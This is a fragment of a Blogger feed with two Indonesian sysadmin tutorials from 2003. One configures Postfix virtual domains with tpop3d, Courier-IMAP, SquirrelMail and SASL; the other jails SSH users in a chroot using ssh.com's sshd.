/&gt;+OK &lt;c5e60956fa012a8f01224c673a0f162f@wolfgang.cs.perbanas.edu&gt; &lt;br /&gt;user asfik@cs.perbanas.edu &lt;br /&gt;+OK Tell me your password. &lt;br /&gt;pass rahasiadeh &lt;br /&gt;+OK Welcome aboard! You have 2 messages. &lt;br /&gt;list&lt;br /&gt;+OK Scan list follows: &lt;br /&gt;1 794 &lt;br /&gt;. &lt;br /&gt;quit &lt;br /&gt;+OK Done &lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;&lt;br /&gt;Untuk menghapus user dan password (tidak termasuk data email), anda bisa menggunakan perintah vtdeluser, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# vtdeluser asfik@cs.perbanas.edu&lt;br /&gt;&lt;br /&gt;Jika anda menginginkan data email user tersebut dihapus juga, anda bisa menghapus secara manual direktori /home/virtual/cs.perbanas.edu/asfik, jika anda tidak menginginkan akses email dengan menggunakan webmail maka anda sudah selesai mengkonfigurasi postfix dengan virtual domain dan pop3 servernya :)&lt;br /&gt;3. Instal Courier-IMAP&lt;br /&gt;&lt;br /&gt;Courier Imap, sesuai dengan namanya adalah sebuah IMAP server yang mendukung format penyimpanan email dengan menggunakan format Maildir. Dalam hal ini kita menggunakan Courier Imap untuk backend dari webmail squirrelmail.&lt;br /&gt;&lt;br /&gt;Donwload courier-imap (yang paling baru), ekstrak sourcenya, dan kita kompilasi : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget http://www.courier-mta.org/beta/imap/courier-imap-1.7.1.20030319.tar.bz2 &lt;br /&gt;[root@wolfgang src]# tar -jxvf courier-imap-1.7.1.20030319.tar.bz2 &lt;br /&gt;[root@wolfgang src]# cd courier-imap-1.7.1.20030319 &lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# ./configure --enable-workarounds-for-imap-client-bugs --disable-root-check &lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# make &lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# make install &lt;br /&gt;&lt;br /&gt;Kita tidak membutuhkan module autentikasi yang lain (jika ada), jadi module dari courier-imap kita dihapus saja :) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# rm -rf /usr/lib/courier-imap/libexec/authlib/*&lt;br /&gt;&lt;br /&gt;Salin modul authuserdb dari source courier-imap yang telah kita kompilasi diatas ke direktori modul authentikasi untuk imap servernya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# cp authlib/authuserdb /usr/lib/courier-imap/libexec/authlib/ &lt;br /&gt;&lt;br /&gt;Salin file konfigurasi standar dari courier-imap :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# cp /usr/lib/courier-imap/etc/imapd.dist /usr/lib/courier-imap/etc/imapd &lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# cp /usr/lib/courier-imap/etc/imapd-ssl.dist /usr/lib/courier-imap/etc/imapd-ssl &lt;br /&gt;&lt;br /&gt;Edit file /usr/lib/courier-imap/etc/imapd , karena courier imap ini hanya digunakan untuk webmail ganti pada baris ADDRESS=0 menjadi ADDRESS=127.0.0.1 . Jika webmail anda adalah webmail yang sibuk, anda bisa menaikkan variabel MAXDAEMONS dan MAXPERIP, yang terpenting adalah ganti pada AUTHMODULES="authdaemon" menjadi AUTHMODULES="authuserdb":&lt;br /&gt;&lt;br /&gt;Start daemon courier-imap :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# /usr/lib/courier-imap/libexec/imapd.rc start&lt;br /&gt;&lt;br /&gt;Anda bisa memeriksa apakah servise courier-imap anda sudah berjalan semestinya, kita gunakan perintah ps :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]#  ps ax | grep imap &lt;br /&gt;32461 ?        S      0:00 /usr/lib/courier-imap/libexec/courierlogger imapd &lt;br /&gt;32458 ?        S      0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 &lt;br /&gt;&lt;br /&gt;Agar setiap reboot daemon courier-imap dijalankan secara otomatis :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang courier-imap-1.7.1.20030319]# echo "/usr/lib/courier-imap/libexec/imapd.rc start" &gt;&gt; /etc/rc.local&lt;br /&gt;&lt;br /&gt;Langkah selanjutnya adalah membuat user dan password IMAP yang akan digunakan sebagai autentikasi pada webmail squirrelmail dengan menggunakan skema autentikasi userdb . Buat direktori /etc/userdb, kemudian ubah modenya menjadi 700 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# mkdir /etc/userdb &lt;br /&gt;[root@wolfgang src]# chmod 700 /etc/userdb &lt;br /&gt;&lt;br /&gt;Anda bisa menggunakan script sederhana yang saya buat untuk menambah atau menghapus user virtual di IMAP atau anda bisa juga melakukannya secara manual, anda bisa memilih sesuai mood anda :)&lt;br /&gt;&lt;br /&gt;Jika menggunakan script, anda bisa mendownload script tersebut di http://people.cakraweb.com/~asfik/vtadduserimap dan http://people.cakraweb.com/~asfik/vtdeluserimap (tentu anda harus mencocokkan variabel-variabel yang dibutuhkan jika berbeda dengan contoh disini) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget http://people.cakraweb.com/~asfik/vtadduserimap&lt;br /&gt;[root@wolfgang src]# wget http://people.cakraweb.com/~asfik/vtdeluserimap&lt;br /&gt;[root@wolfgang src]# mv {vtadduserimap,vtdeluserimap} /usr/bin &lt;br /&gt;[root@wolfgang src]# chmod 755 /usr/bin/{vtadduserimap,vtdeluserimap}&lt;br /&gt;&lt;br /&gt;Untuk menambah user virtual di IMAP misalnya asfik@cs.perbanas.edu lakukan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# vtadduserimap asfik@cs.perbanas.edu&lt;br /&gt;&lt;br /&gt;Untuk menghapusnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# vtdeluserimap asfik@cs.perbanas.edu&lt;br /&gt;&lt;br /&gt;Jika secara manual, yang pertama-tama anda lakukan adalah memasukkan PATH dari /usr/lib/courier-imap/sbin kedalam environment PATH anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# PATH=$PATH:/usr/lib/courier-imap/sbin &lt;br /&gt;[root@wolfgang src]# export PATH &lt;br /&gt;&lt;br /&gt;Buat entry misalnya untuk username asfik@cs.perbanas.edu (sesuaikan 521 /522 dengan UID/GID user virtual) : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang root]# userdb -f /etc/userdb/cs.perbanas.edu asfik@cs.perbanas.edu set home=/home/virtual/cs.perbanas.edu/asfik mail=/home/virtual/cs.perbanas.edu/asfik uid=521 gid=522&lt;br /&gt;&lt;br /&gt;Kemudian set password IMAP nya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang root]# userdbpw -md5 | userdb -f /etc/userdb/cs.perbanas.edu asfik@cs.perbanas.edu set imappw &lt;br /&gt;&lt;br /&gt;Langkah terakhir, buat databasenya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang root]# makeuserdb &lt;br /&gt;&lt;br /&gt;Selanjutnya untuk mengetest IMAP, kita install squirrelmail :)&lt;br /&gt;4. Instal Squirrelmail&lt;br /&gt;&lt;br /&gt;Menurut file INSTALL dari distribusi Squirrelmail, software ini membutuhkan php versi 4 yang minimal dikompilasi dengan opsi --enable-track-vars --enable-force-cgi-redirect --with-gettext serta membutuhkan register_global=On dan file_uploads = On di php.ini (jika php anda menggunakan default RPM Redhat file php.ini terletak didirektori /etc). &lt;br /&gt;&lt;br /&gt;Download dan ekstrak paket squirrelmail (yang paling baru) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget http://umn.dl.sf.net/sourceforge/squirrelmail/squirrelmail-1.2.11.tar.gz &lt;br /&gt;[root@wolfgang src]# tar -xzvf squirrelmail-1.2.11.tar.gz &lt;br /&gt;&lt;br /&gt;Diasumsikan diserver anda telah terinstall apache, maka tentukan letak direktori squirrelmail pada direktif DocumentRoot di httpd.confanda, misalnya disini saya letakkan didirektori /usr/local/httpd/htdocs/mail karena document root dari apachenya adalah /usr/local/httpd/htdocs:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# mv squirrelmail-1.2.11 /usr/local/httpd/htdocs/mail &lt;br /&gt;&lt;br /&gt;Tentukan user dan group yang menjalankan proses apache :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# egrep '^(User|Group)' /usr/local/httpd/conf/httpd.conf &lt;br /&gt;User www &lt;br /&gt;Group www &lt;br /&gt;&lt;br /&gt;Dari perintah diatas kita peroleh user www dan group www, kemudian ganti kepemilikan direktori /usr/local/httpd/htdocs/mail/data menjadi user www dan group www :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# chown -R www.www /usr/local/httpd/htdocs/mail/data/ &lt;br /&gt;&lt;br /&gt;Salin file konfigurasi standar ke file konfigurasi squirrelmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# cp /usr/local/httpd/htdocs/mail/config/config_default.php /usr/local/httpd/htdocs/mail/config/config.php &lt;br /&gt;&lt;br /&gt;Edit file tersebut dari $imap_server_type = 'cyrus'; menjadi$imap_server_type = 'courier'; :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# vi /usr/local/httpd/htdocs/mail/config/config.php &lt;br /&gt;&lt;br /&gt;Atau jika anda mengalami kesulitan anda bisa menggunakan script perl yang disertakan oleh squirrelmail, pada direktori config :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# cd /usr/local/httpd/htdocs/mail/config &lt;br /&gt;[root@wolfgang config]# ./conf.pl &lt;br /&gt;&lt;br /&gt;Kemudian silakan dicoba dengan browser anda, masukkan user yang telah anda buat misalnya asfik@cs.perbanas.edu&lt;br /&gt;&lt;br /&gt;Enjoy :)&lt;br /&gt;5. Lain-lain (Opsional)&lt;br /&gt;5.1 SASL&lt;br /&gt;&lt;br /&gt;Jika anda berencana menggunakan autentikasi ketika menggunakan smtp di postfix anda bisa menggunakan cyrus-sasl . SASL (Simple Authentication and Security Layer) adalah suatu metode untuk penambahan dukungan autentikasi terhadap suatu protokol, atau gampangnya jika hal ini berkaitan dengan postfix maka SASL bisa diartikan sebagai proses autentikasi suatu user terhadap smtp di postfix dengan password yang ter-enkrispi. Jadi setiap kali user tersebut mengirim email, maka akan selalu diminta memasukkan password terlebih dahulu. &lt;br /&gt;&lt;br /&gt;Untuk menggunakan fitur ini anda harus mengkompilasi (ulang) postfix anda agar support sasl, pertama-tama jika ada cyrus-saslbawaan dari distro kita hapus dulu :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# for a in $(rpm -qa | grep sasl); do rpm -e --nodeps $a; done&lt;br /&gt;&lt;br /&gt;Download cyrus-sasl (yang paling baru), ekstrak kemudian kompile, dan install :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/cyrus-sasl-1.5.28.tar.gz&lt;br /&gt;[root@wolfgang src]# tar -xzvf cyrus-sasl-1.5.28.tar.gz &lt;br /&gt;[root@wolfgang src]# cd cyrus-sasl-1.5.28 &lt;br /&gt;[root@wolfgang cyrus-sasl-1.5.28]# ./configure --enable-krb4=no &lt;br /&gt;[root@wolfgang cyrus-sasl-1.5.28]# make &lt;br /&gt;[root@wolfgang cyrus-sasl-1.5.28]# make install &lt;br /&gt;&lt;br /&gt;Buat symlink direktori /usr/local/lib/ssl ke direktori /usr/lib/sasl:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang cyrus-sasl-1.5.28]# ln -s /usr/local/lib/sasl /usr/lib/sasl &lt;br /&gt;&lt;br /&gt;Buat file /usr/local/lib/sasl/smtpd.conf isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pwcheck_method: sasldb&lt;br /&gt;&lt;br /&gt;Jika perlu pada file /etc/ld.so.conf anda tambahkan /usr/local/lib kemudian lakukan ldconfig :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang cyrus-sasl-1.5.28]# ldconfig&lt;br /&gt;&lt;br /&gt;Stop daemon postfix anda (postfix stop), untuk kemudian dikompilasi ulang supaya postfixnya mendukung SASL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# tar -xzvf postfix-2.0.6.tar.gz &lt;br /&gt;[root@wolfgang src]# cd postfix-2.0.6 &lt;br /&gt;[root@wolfgang postfix-2.0.6]# patch -p1 &lt; ../postfix-2.0.6.patch &lt;br /&gt;[root@wolfgang postfix-2.0.6]# make makefiles CCARGS="-DUSE_SASL_AUTH -I/usr/local/include" AUXLIBS="-L/usr/local/lib -lsasl" &lt;br /&gt;[root@wolfgang postfix-2.0.6]# make &lt;br /&gt;[root@wolfgang postfix-2.0.6]# make install &lt;br /&gt;&lt;br /&gt;Edit file /etc/postfix/main.cf anda, tambahkan baris berikut ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;smtpd_sasl_auth_enable = yes &lt;br /&gt;smtpd_sasl_local_domain = $myhostname &lt;br /&gt;smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, check_relay_domains &lt;br /&gt;smtpd_sasl_security_options = noanonymous, noplaintext &lt;br /&gt;&lt;br /&gt;Start daemon postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang postfix-2.0.6]# postfix start &lt;br /&gt;&lt;br /&gt;Test apakah postfix anda sudah mendukung autentikasi (AUTH) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang postfix-2.0.6]# telnet localhost 25 &lt;br /&gt;Trying 127.0.0.1... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;220 wolfgang.cs.perbanas.edu ESMTP Postfix &lt;br /&gt;EHLO wolfgang.cs.perbanas.edu &lt;br /&gt;250-wolfgang.cs.perbanas.edu &lt;br /&gt;250-PIPELINING &lt;br /&gt;250-SIZE 10240000 &lt;br /&gt;250-VRFY 250-ETRN &lt;br /&gt;250-AUTH ANONYMOUS DIGEST-MD5 CRAM-MD5 &lt;br /&gt;250-XVERP &lt;br /&gt;250 8BITMIME &lt;br /&gt;quit &lt;br /&gt;221 Bye Connection closed by foreign host. &lt;br /&gt;&lt;br /&gt;Kemudian kita buat satu buah username untuk percobaan, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# saslpasswd -a smtpd -c asfik@cs.perbanas.edu &lt;br /&gt;&lt;br /&gt;Jika anda menemui saslpasswd: generic failure pada waktu pertama kali bikin database ini adalah wajar, karena file /etc/sasldb tidak ada, untuk mengatasinya lakukan sekali lagi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# saslpasswd -a smtpd -c asfik@cs.perbanas.edu &lt;br /&gt;&lt;br /&gt;Periksa dengan perintah sasldblistusers untuk memeriksa apakah sudah ok :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# sasldblistusers &lt;br /&gt;user: asfik@cs.perbanas.edu realm: wolfgang.cs.perbanas.edu mech: DIGEST-MD5 &lt;br /&gt;user: asfik@cs.perbanas.edu realm: wolfgang.cs.perbanas.edu mech: CRAM-MD5 &lt;br /&gt;user: asfik@cs.perbanas.edu realm: wolfgang.cs.perbanas.edu mech: PLAIN&lt;br /&gt;&lt;br /&gt;Ganti kepemilikan file /etc/sasldb dengan groupnya user postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# chgrp postfix /etc/sasldb&lt;br /&gt;&lt;br /&gt;Kemudian, testing dengan mengirim email dengan MUA kesayangan anda, disini saya menggunakan KMail 1.4.1. Dari menu Setting -&gt; Configure KMail -&gt; Network -&gt; Sending, kemudian anda bisa memodifikasi atau menambah baru, misalnya klik Add -&gt; SMTP. Kemudian pada tab General -&gt; Name, Host, dan Port isikan sesuai dengan konfigurasi anda. Kemudian beri tanda cek pada "Server requires authentication". Isikan Login dan Password yang sesuai (misalnya asfik@cs.perbanas.edu dan password yang sesuai dengan yang dimasukkan), jika ingin menyimpannya berikan tanda cek pada "Store SMTP password in configuration file". Kemudian yang terakhir dan paling penting pada tab Security , pilih None pada Encryption dan pilih DIGEST-MD5 pada Authentication Method, jika suskses, pada file /var/log/maillog anda akan terpadapat seperti ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Apr 8 11:21:34 wolfgang postfix/smtpd[10037]: 5DBEABB3A:&lt;br /&gt;client=alkhwarizmi.cs.perbanas.edu[10.126.10.13],sasl_method=DIGEST-MD5,&lt;br /&gt;sasl_username=asfik@cs.perbanas.edu &lt;br /&gt;&lt;br /&gt;Untuk konfigurasi dengan menggunakan MUA mutt, Ximian Evolutions, ataupun Netscape anda bisa melihat tulisan saya tentang "Menggunakan SMTP Auth (qmail-smtpd-auth) di vpopmail dan vmailmgr" di http://people.cakraweb.com/~asfik/writings/qmail-smtpd-auth.html, untuk MUA yang lain silakan baca dokumentasi dari MUA anda tersebut, semoga berhasil.&lt;br /&gt;6. ChangeLog&lt;br /&gt;&lt;br /&gt;10 April 2003&lt;br /&gt;&lt;br /&gt;Penambahan SASL&lt;br /&gt;&lt;br /&gt;04 April 2003&lt;br /&gt;&lt;br /&gt;Minor update, penambahan courier dan squirrelmail&lt;br /&gt;&lt;br /&gt;25 Maret 2003&lt;br /&gt;&lt;br /&gt;Penulisan tutorial ini dimulai - minus courier-imap dan squirrelmail&lt;br /&gt;7. Referensi&lt;br /&gt;&lt;br /&gt;http://www.postfix.org/&lt;br /&gt;http://www.oav.net/~kiwi/postfix/&lt;br /&gt;http://www.ex-parrot.com/~chris/tpop3d/&lt;br /&gt;http://www.courier-mta.org/&lt;br /&gt;http://asg.web.cmu.edu/sasl/&lt;br /&gt;http://www.mandrakesecure.net/en/docs/postfix-sasl.php&lt;br /&gt;File INSTALL, README dan direktori docs pada setiap distribusi paket&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111019918961037977?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111019918961037977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111019918961037977' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019918961037977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019918961037977'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/virtual-domain-di-postfix-dengan.html' title='Virtual domain di postfix dengan tpop3d, courier-imap dan squirrelmail'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111019886807437167</id><published>2005-03-07T04:32:00.000-08:00</published><updated>2005-03-07T04:34:28.076-08:00</updated><title type='text'>Chroot login di Linux dengan menggunakan sshd</title><content type='html'>writer : Asfihani (asfik@cakraweb.com)&lt;br /&gt;26 Februari 2003&lt;br /&gt;&lt;br /&gt;Jika Anda merasa apa yang saya tulis berikut ini berguna dan ingin membuat saya gembira, Anda bisa mengirimkan satu (atau lebih) CD dari daftar wishlist saya. Tentu saja, usaha Anda akan sangat saya hargai :-). &lt;br /&gt;Pendahuluan&lt;br /&gt;&lt;br /&gt;Tujuan dari chroot terhadap suatu login(account/user) adalah untuk "memenjarakan" user tersebut ke home direktorinya sendiri sehingga user yang bersangkutan tidak bisa "naik" ke direktori yang lebih tinggi diatasnya. Hal ini mungkin bisa meminimalisir usaha pembajakan terhadap suatu account yang lain (misalnya root) ataupun pencurian data user maupun data penting lainnya pada suatu sistem operasi linux.&lt;br /&gt;&lt;br /&gt;Karena sshd yang mendukung chroot adalah sshd dari ssh.com, maka langkah yang pertama adalah menginstall sshd tersebut dan menguninstall openssh (sshd yang digunakan berlisensi free for non commercial use), jika anda sudah menggunakan sshd dari ssh.com anda bisa melewati langkah berikut ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# wget ftp://ftp.ssh.com/pub/ssh/ssh-3.2.3.tar.gz&lt;br /&gt;[root@kurowo asfik]# tar -xzvf ssh-3.2.3.tar.gz&lt;br /&gt;[root@kurowo asfik]# cd ssh-3.2.3&lt;br /&gt;[root@kurowo ssh-3.2.3]# ./configure&lt;br /&gt;[root@kurowo ssh-3.2.3]# make&lt;br /&gt;[root@kurowo ssh-3.2.3]# make install&lt;br /&gt;&lt;br /&gt;Perhatian, langkah berikut ini sangatlah penting, silakan berhati-hati dalam mengerjakannya, terutama jika anda bekerja diserver secara remote. Aktifkan terlebih dahulu protokol telnet, hal ini untuk mencegah jika tiba-tiba kita tidak bisa terhubung ke server menggunakan ssh. Pada distro Redhat anda bisa menyunting file /etc/xinetd.d/telnetdan ubah pada bagian disable = yes menjadi disable = no. Kemudian restart xinetd :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# service xinetd restart&lt;br /&gt;&lt;br /&gt;Setelah ok, silakan masuk ke server melalui protokol telnet, langkah selanjutnya adalah langsung menghentikan sshd yang masih berjalan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# service sshd stop&lt;br /&gt;&lt;br /&gt;Pastikan semua user telah logout (atau kita logoutkan secara pasti :D ): &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# killall -9 sshd &lt;br /&gt;&lt;br /&gt;Hapus openssh :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# for a in $(rpm -qa | grep openssh); do rpm -e --nodeps $a; done&lt;br /&gt;&lt;br /&gt;Semenjak root merupakan account yang keramat, maka kita putuskan untuk menolak ssh dengan login root dengan menyunting file /etc/ssh2/sshd2_config pada bagian PermitRootLogin menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PermitRootLogin                 no&lt;br /&gt;&lt;br /&gt;Jalankan sshd yang terbaru dari ssh.com :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# /usr/local/sbin/sshd&lt;br /&gt;&lt;br /&gt;Untuk memastikan sshd yang baru secara otomatis dijalankan setiap server di reboot :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# echo "/usr/local/sbin/sshd" &gt;&gt; /etc/rc.local&lt;br /&gt;&lt;br /&gt;Silakan dicoba untuk melakukan ssh ke server tersebut, jika sukses, jangan lupa langsung mematikan kembali daemon telnet dengan menyunting kembali /etc/xinetd.d/telnet dan mengubah bagian disable = no menjadi disable = yes, dan karena kita tidak memerlukan xinetd :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# service xinetd stop&lt;br /&gt;&lt;br /&gt;Buat user baru yang akan dichroot (misalnya user niken ) sekalian kita set passwordnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# useradd niken&lt;br /&gt;[root@kurowo asfik]# passwd niken &lt;br /&gt;Changing password for user niken&lt;br /&gt;New password:&lt;br /&gt;Retype new password:&lt;br /&gt;passwd: all authentication tokens updated successfully&lt;br /&gt;&lt;br /&gt;Buat direktori etc,bin,lib didirektori /home/niken :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# mkdir /home/niken/{etc,bin,lib} &lt;br /&gt;&lt;br /&gt;Buat entry untuk user niken di file /home/niken/etc/passwd dan /home/niken/etc/group : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# grep ^niken /etc/passwd &gt; /home/niken/etc/passwd&lt;br /&gt;[root@kurowo asfik]# grep ^niken /etc/group &gt; /home/niken/etc/group &lt;br /&gt;&lt;br /&gt;Install bash dengan menyalin file /bin/bash ke /home/niken/bin:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# cp /bin/bash /home/niken/bin&lt;br /&gt;&lt;br /&gt;Salin file library yang digunakan oleh bash (anda bisa memeriksanya dengan perintah ldd) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# ldd /bin/bash&lt;br /&gt;libtermcap.so.2 =&gt; /lib/libtermcap.so.2 (0x4001d000)&lt;br /&gt;libdl.so.2 =&gt; /lib/libdl.so.2 (0x40021000)&lt;br /&gt;libc.so.6 =&gt; /lib/i686/libc.so.6 (0x40025000)&lt;br /&gt;/lib/ld-linux.so.2 =&gt; /lib/ld-linux.so.2 (0x40000000)&lt;br /&gt;[root@kurowo asfik]# cp /lib/libtermcap.so.2 /home/niken/lib&lt;br /&gt;[root@kurowo asfik]# cp /lib/libdl.so.2 /home/niken/lib&lt;br /&gt;[root@kurowo asfik]# cp /lib/i686/libc.so.6 /home/niken/lib&lt;br /&gt;[root@kurowo asfik]# cp /lib/ld-linux.so.2 /home/niken/lib&lt;br /&gt;&lt;br /&gt;Atau bisa juga dengan menggunakan perintah ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# for a in $(ldd /bin/bash | awk '{print $3}'); do cp $a /home/niken/lib/; done &lt;br /&gt;&lt;br /&gt;Untuk Redhat 7.x, salin pula file /lib/libnss_files.so.2, /lib/libnsl.so.1dan /lib/libnss_compat.so.2 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# cp /lib/libnss_files.so.2 /home/niken/lib&lt;br /&gt;[root@kurowo asfik]# cp /lib/libnsl.so.1 /home/niken/lib&lt;br /&gt;[root@kurowo asfik]# cp /lib/libnss_compat.so.2 /home/niken/lib&lt;br /&gt;&lt;br /&gt;Jika diperlukan juga, install file-utils (ln,ls,rm,mv,cp,du,mkdir):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# cp /bin/{ln,ls,rm,mv,cp,mkdir} /home/niken/bin&lt;br /&gt;[root@kurowo asfik]# cp /usr/bin/du /home/niken/bin &lt;br /&gt;&lt;br /&gt;Periksa kembali library yang akan digunakan oleh file-file tersebut dengan menggunakan perintah ldd (misalnya: ldd /bin/ls dan seterusnya), kemudian salin ke direktori lib pada home direktori user yang bersangkutan. Ganti kepemilikan /home/niken ke user niken :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# chown -R niken.niken /home/niken&lt;br /&gt;&lt;br /&gt;Jika anda menginginkan agar user yang bersangkutan tidak bisa menghapus file/direktori yang digunakan dalam chroot, anda bisa menggunakan perintah chattr : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# chattr -R +i /home/niken/{bin,etc,lib}&lt;br /&gt;&lt;br /&gt;Langkah terakhir adalah menambahkan entry niken pada file /etc/ssh2/sshd2_config bagian ChRootUsers menjadi sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ChRootUsers anonymous,ftp,guest,niken&lt;br /&gt;&lt;br /&gt;Restart daemon ssh :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# killall -HUP sshd&lt;br /&gt;&lt;br /&gt;Jika sukses, anda bisa mencoba ssh ke localhost dengan menggunakan login niken :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@kurowo asfik]# ssh niken@localhost&lt;br /&gt;niken's password:&lt;br /&gt;Authentication successful.&lt;br /&gt;Last login: Wed Feb 26 2003 12:51:42 +0700 from localhost&lt;br /&gt;No mail.&lt;br /&gt;bash-2.05$ ls -la&lt;br /&gt;total 40&lt;br /&gt;drwx------ 5 niken niken 4096 Feb 26 05:48 .&lt;br /&gt;drwx------ 5 niken niken 4096 Feb 26 05:48 ..&lt;br /&gt;-rw------- 1 niken niken 57 Feb 26 05:52 .bash_history&lt;br /&gt;-rw-r--r-- 1 niken niken 24 Feb 26 05:21 .bash_logout&lt;br /&gt;-rw-r--r-- 1 niken niken 191 Feb 26 05:21 .bash_profile&lt;br /&gt;-rw-r--r-- 1 niken niken 124 Feb 26 05:21 .bashrc&lt;br /&gt;-rw-r--r-- 1 niken niken 3511 Feb 26 05:21 .screenrc&lt;br /&gt;drwxr-xr-x 2 niken niken 4096 Feb 26 05:47 bin&lt;br /&gt;drwxr-xr-x 2 niken niken 4096 Feb 26 05:49 etc&lt;br /&gt;drwxr-xr-x 2 niken niken 4096 Feb 26 05:53 lib&lt;br /&gt;&lt;br /&gt;FIN&lt;br /&gt;&lt;br /&gt;http://efnet.linux.or.id/docs/  &lt;--- link this sites&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111019886807437167?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111019886807437167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111019886807437167' title='0 Comments'/><link 